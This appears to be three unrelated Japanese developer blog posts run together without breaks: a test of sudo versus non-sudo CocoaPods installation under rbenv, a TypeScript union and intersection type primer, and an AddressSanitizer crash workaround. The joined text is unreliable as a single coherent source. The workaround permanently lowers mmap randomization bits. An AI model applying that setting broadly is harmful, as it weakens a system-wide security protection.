| rbenv       | 1.3.2-4-gae72600        |
| gem         | 3.5.3          |
| cocoapods       | 1.16.2       |

前提としてMac本体を汚したくなかったため、Docker 上に Ubuntu 環境を構築して検証しました。

:::note info
dockerfile の中で rbenv と ruby-build をインストールしています。  
今回は dockerfile のソースコードは省略します。
:::

フォルダ構成などに多少の差はありますが、基本的な挙動は macOS と大きく変わらないと判断しました。

# 動作検証
rbenv 経由で Ruby をインストール後、`sudo gem install cocoapods` を実行しようとしたところ、以下のようなエラーが発生しました。
```text: エラー
sudo: gem: command not found
```
理由はSystem Rubyが入っていなかったため以下のコマンドでRubyをインストールして、gemを使用できるようにしました。
```bash
$ sudo apt update
$ sudo apt install ruby3.0-dev build-essential
```

# 結果
`$ gem install cocoapods` の場合
```bash:出力
$ which pod
/home/XXXX[ユーザー名]/.rbenv/shims/pod
```

dockerを削除して再ビルド
`$ sudo gem install cocoapods`  の場合
```bash:出力
$ which pod
/usr/local/bin/pod
```
結果を見ると、`sudo` を使用した場合は `/usr/local/bin`（ルート配下）に、  
使用しない場合は `~/.rbenv/shims`（ユーザーディレクトリ）にインストールされていることがわかりました。

**補足**
MacOSで以下を実行
`$ gem install cocoapods`  の場合
```bash:出力
$ which pod
/Users/XXXX[ユーザー名]/.rbenv/shims/pod
```

# 結論
[cocoapods公式](https://cocoapods.org/)にも確かにインストール方法としてsudoが使用されていますが、本当に必要なのかどうかを判断しないといけないと思いました。
また、Rails など Ruby を使う他のプロジェクトでも、
ユーザーディレクトリ配下とルート配下の gem が混在するとトラブルの元になるため、
開発スタイルに応じて適切に判断する必要があります。

# まとめ
- rbenv 管理下の Ruby では、基本的に sudo は不要と考えられる
- sudo 環境では rbenv の Ruby を参照できない(SystemのGemを使用している)
- 混在環境は不安定になる可能性があるので要注意

最後までお読みいただき、ありがとうございました。
【TypeScript初心者メモ】ユニオン型（ | ）と交差型（ & ）

# ユニオン型（A | B）とは
A または B のどちらかの型を表し、
1つの値が、いくつかの異なる型のどれかであることを許容します。
```
let value: string | number;

value = "こんにちは"; // OK
value = 123;         // OK
value = true;        // ❌ boolean は許されない
```


# 交差型（A & B）とは
A と B の両方の性質を持った型を表し、
複数の型を合成して1つの新しい型を作ることができます。
```
type HasName = { name: string };
type HasAge = { age: number };

// 両方を持つ型（交差型）
type Person = HasName & HasAge;

const user: Person = {
  name: "太郎",
  age: 30,
};
```
AddressSanitizer:DEADLYSIGNAL

競技プログラミングをするのに，WSL の　Ubuntu 22.04 LTS で，g++ 13.1 を使用しています．メモリ関係のバグを報告してもらうために，次のオプションを付けてコンパイルしています．

```
-fsanitize=address,undefined -fno-sanitize-recover -fno-omit-frame-pointer
```

最近，このように作成した a.out が，数回に一回くらい，ランダムにエラーを起こすようになりました．以下のエラーメッセージをはき出す無限ループに陥ります．

```
AddressSanitizer:DEADLYSIGNAL
```

検索をして[バグ報告](https://github.com/actions/runner-images/issues/9491#issuecomment-1989718917)を見つけ，そこに書かれていた，次の workaround を実施したところ，エラーは発生しなくなりました．

```
sudo sysctl vm.mmap_rnd_bits=28
```

[ChatGPTに教えてもらって](https://chatgpt.com/share/6843d1fa-d01c-800d-8a15-2ffcd61fad5b)，`/etc/sysctl.d/99-asan.conf` というファイルを作り，`vm.mmap_rnd_bits=28` を記述して，起動時から有効にするようにしました．一応エラーなく動いているようです．